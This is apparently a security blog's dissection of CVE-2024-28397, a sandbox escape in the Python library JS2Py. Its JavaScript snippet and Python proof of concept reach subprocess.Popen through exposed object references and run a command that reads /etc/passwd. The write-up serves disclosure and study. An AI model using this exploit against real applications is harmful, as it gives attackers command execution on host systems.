Skip to main content
  1. Writeups/

[CVE-2024-28397] JS2Py Sandbox Escape

2 mins· 0 · 0 ·
cve sandbox python
Table of Contents
CVE Dissections - This article is part of a series.
Part 2: This Article
JS2Py>

JS2Py #

JS2Py is a Python library for executing Javascript code in Python via a sandbox.

Categorie Value
Github https://github.com/PiotrDabkowski/Js2Py
Last vulnerable version 0.74
Last update time 06/11/2022
Stars 2400+
Github dependancies 14639 repositories/139 packages

This library is very popular and used by many projects despite its inactivity in terms of updates, including for this vulnerability.

Javascript code can be executed in two ways, via translation or via a Javascript virtual machine.

Sandbox escape was tested and works in both cases (via js2py.eval_js and js2py.eval_js_vm).

Vulnerability>

Vulnerability #

This CVE was found by cybersecurity researcher Marven11

Some global variables are available in the environment provided by JS2Py, one of which exposes a reference to a Python object, allowing you to escape the JS environment and go back into the structure of the Python object. The Javascript code for retrieving the Python object reference is as follows:

Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__

From this code, we can enumerate the subclasses to access the libraries of the Python Standard Library.

// Retrieving the reference
let pyref = Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__

for(let i in pyref.__subclasses__()) {
    let item = pyref.__subclasses__()[i]
    // If the subclass is the Popen function of the subprocess module
    if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
        // Executing a command and retrieving its return
        res = item("head -n 1 /etc/passwd", -1, null, -1, -1, -1, null, null, true).communicate()
        console.log(res)
    }
}
POC>

POC #

import js2py

payload = """
let cmd = "head -n 1 /etc/passwd"
// Retrieving the reference
let pyref = Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__

for(let i in pyref.__subclasses__()) {
    let item = pyref.__subclasses__()[i]
    // If the subclass is the Popen function of the subprocess module
    if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
        // Executing a command and retrieving its return
        res = item("head -n 1 /etc/passwd", -1, null, -1, -1, -1, null, null, true).communicate()
        console.log(res)
    }
}
"""

def main():
    try:
        result = repr(js2py.eval_js(payload))
    except Exception:
        return False

if __name__ == "__main__":
    main()


CVE Dissections - This article is part of a series.
Part 2: This Article